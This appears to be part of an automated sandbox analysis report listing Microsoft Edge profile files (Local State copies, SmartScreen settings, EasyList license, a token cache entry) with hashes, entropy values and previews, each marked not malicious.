Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3974f.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5951162566636528
Encrypted:	false
SSDEEP:	12:TLyeuAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isx0zydgXzVd4Ux5zvSY:TLyXOUOq0afDdWec9sJfj7s7J5fc
MD5:	96D57C5C7DB83B712F2693EAB2AFFEA8
SHA1:	67D588EB0AD1E1D3A0F28143005137E7722EF756
SHA-256:	BA339F7DA3E246FE52B640E44F5F699E181CD818F79845CB7E485CE7DE41EE18
SHA-512:	EA1C0D06FE4A63BC913686D88BF6B55413DEC35B1894B9835E14F8517460CDDECC499DFE386C8D4FB53205A227D2F757D505FC343C1F05CF0162FC8595A992E5
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Reputation:	unknown
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Reputation:	unknown
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Reputation:	unknown
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Reputation:	unknown
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\scoped_dir8540_94138672\LICENSE

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24621
Entropy (8bit):	4.588191729390247
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm9:mvagXreRnTqzazWgj0v6XqK
MD5:	AAD9405766B20014AB3BEB08B99536DE
SHA1:	486A379BDFEECDC99ED3F4617F35AE65BABE9D47
SHA-256:	ED0F972D56566A96FB2F128A7B58091DFBF32DC365B975BC9318C9701677F44D
SHA-512:	BD9BF257306FDAFF3F1E3E1FCCB1F0D6A3181D436035124BD4953679D1AF2CD5B4CC053B0E2EF17745AE44AE919CD8FD9663FBC0CD9ED36607E9B2472C206852
Malicious:	false
Reputation:	unknown
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\scoped_dir8540_94138672\Ruleset Data

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2983304
Entropy (8bit):	5.371584711667006
Encrypted:	false
SSDEEP:	49152:tR7JA+2v9VbvQu0rtJtPCRxWPsDaR0B/1Qnph9PqxC:36vL0Dr9P7
MD5:	16176AA639F8D0BF6C1A823F9D973D8C
SHA1:	F1F365A4705A3FCAB04BC4AA8F080ED7AE2F372C
SHA-256:	75DA3C6ADD63A83EFB735AE0F1F4E6578607EA33187753B0F65F750A1AB0AB34
SHA-512:	D8711E8A2D417F1F9B81A13D04951420460D1BE2DD0459916A3226F364B65CD77FC0FEB4BE22412DF3DA0A2433CD924DF7D0684FAB04A2C6CF3A6E9715EA9F84
Malicious:	false
Reputation:	unknown
Preview:	............`Q..l............... ....u..............z]....)...).t.).d.).P.).8.). .)...)..)..)..)...)...)...).\|.).h.).T.).@.).$.)...)...)..)...)...)...).\|.).h.).T.).8.).$.)...)...)..)..)..)...)...)...).d.).D.). .)...)...)..)..)...)...)...).\|.).l.).T.).<.).$.)...)...)..)..)..)...)...)...).p.).\.).H.).4.)...)...)..)..)..)...)...)...).l.).X.).<.).,.)...)..)..)...)...)...).p.).X.).@.).(.)...)...)..)..)...)...)...).p.).P.).<.).(.)...)...)..)..)..)...)...)...).x.).d.).P.).0.)...)...)...)..)..)...)...)...).l.).T.).@.).0.)...)...)..)..)..)...)...)...).p.).T.).4.)...)..)..)...)...).\|.).`.).P.).8.)...)...)..)..)..)...)...)...).p.).X.).D.).0.)...)..)..)...)...).x.).T.).0.)...)...)..)..)...)...)...).\|.).`.).D.).0.)...)...)..)..)...)...)...).x.).d.).L.).0.)...)...)..)..)...)...).l.).\.).H.).0.)...)...)..)..)...)...)...).p.).\.).H.).4.)...)...)..)..)...)...)...).d.).T.).@.).0.)...)...)..)..)...)...).x.).\.).H.).8.).$.)...)...)..)..)...)...)...).p.).\.).

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a87d3325-3451-489a-bb2a-96ea5e7f3eb7.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44894
Entropy (8bit):	6.095646567971906
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjsi1zNt9mUNyXzGFMKJDSgzMMd6qD47u3+Ciob:+/Ps+wsI7yne1sKtSmd6qE7lFob
MD5:	5186D7FD9F235656B86F204DFEF2B13B
SHA1:	A28EC8D6F405DB4ABED4BC3EF7C2DD20A6EAB6FD
SHA-256:	E95916D3737E02DC7D3DA204F91015DD136E6AF6CDF1AFA76630DF4901D881F2
SHA-512:	DA208CEE7F88E2FC7FED302446B44C19F557E78D3427F9F77AADD48BF0AA4326FDA4C43557D1A217208942FB4AA43E9EB8B906EC03E1A4BAFE0DABE35DB5D877
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cbbb3d4c-b1ca-496c-b457-1cdc3d339d48.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089751057552796
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWNdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+Ciob:+/Ps+wsI7yn3bkzItSmd6qE7lFob
MD5:	9C4F978A44E9883946C1C2003B354A8C
SHA1:	1B3DDFE857C6EECF7E7CD5DF4D3E4A0330909C7B
SHA-256:	5428A0ED377DCAF68819735E566F2C45FE0AA4E9EE539BE0AE765AC0A98BB43A
SHA-512:	3DE78CBCDA0C8540F1ED3197FAE4E7615C29B1100C376AD2D0043BDE1543F29F686DFEADD2FE62F75B476CF539DD316E329A17A4D63914B1EDE0D52E8A9DEB2B
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\da9270df-6340-4c5a-b30b-2d4f13e01760.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095324419514247
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJzi1zNtZye5CN8XUTkKBKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynDJIXKtSmd6qE7lFoC
MD5:	52DCA553026B9794882B689BBB08992D
SHA1:	1BD45C93C0594075BC141DAD0FE4C7C29CFF2A8D
SHA-256:	0D7315E6331C8F3F3C5470EE4E38F468F6196EC0F8A93E64E4D35B4227EABA0B
SHA-512:	E347D3057B258C6A997A8DCCADCD36D8BC526C7496309C2B406FB047C12EC9304317900CDF970DF10418619EF39F272B9A50E5D6A556939275DAD921187B992D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e3a9344f-75e2-484d-8e41-7ff179812113.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089754557225182
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWydi1zNtPMykzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSxkzItSmd6qE7lFoC
MD5:	631ED73E72238AACF10194C012CF0B14
SHA1:	B940994F20AAEB0AA7E409318943DF41487B23B1
SHA-256:	FBC312E665E3E7091111C94ED15244DA4A0D19A351D0751FF7FCF1248E44E526
SHA-512:	637B599B035AACDB1D8EF29735099A70B6821C6AFF1F2BF12F6022ACCEBF2712198D5DC4F8C0C2EFC98600C09DCB30A142101FD428218AB4058DD0E0956FA7C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f3031252-1e2d-4fcd-ad14-49494308724d.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44032
Entropy (8bit):	6.094150362989417
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJji1zNt+vNVXxKJDSgzMMd6qD47u3+CioVf:+/Ps+wsI7yngvVKtSmd6qE7lFoV
MD5:	AB9AE6A11057EF2ED7DA18F21FEEF34C
SHA1:	61ED1588F8EA09D471D64C423909E43E53615150
SHA-256:	0768E7CD4905CD2E4C27C1D3EAE6F3397F1B3A126AE386F2F677E3E45F3D5B94
SHA-512:	860F55EDB4F738E6BE8D8709631A0C8D23A516020C1F6836D6AF1A57ACF9F7B1D42F942A506FD2D78AFF66D9AC814A759AEB5F1C1D6B7C0583477AAED0F4DD6B
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.841813559710497
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx2vxl9Il8uAKXKZ6PqhJHlQAYgb/U/i5+BNd1rc:mnYV6Z6PqhLQAYm/siQ8
MD5:	8690D6835C14C8358D22A68DBAD7489B
SHA1:	6B651FB867F2821710A52164D10C523D0A9DD5DC
SHA-256:	DA608032CC5C502CB331EDF26B6E99B87EF5FD2F291C1F567B4358E0C67607AD
SHA-512:	DD86C2E5A6FD8A1FB8E97BE434ED5A2BDE92F545C4B2AF57D298B20BCFE0A0A32769A6D6B5AE772D5384300B8002E5027FAD82CB62CA0B9B78D4D58D13C6F49D
Malicious:	false
Reputation:	unknown
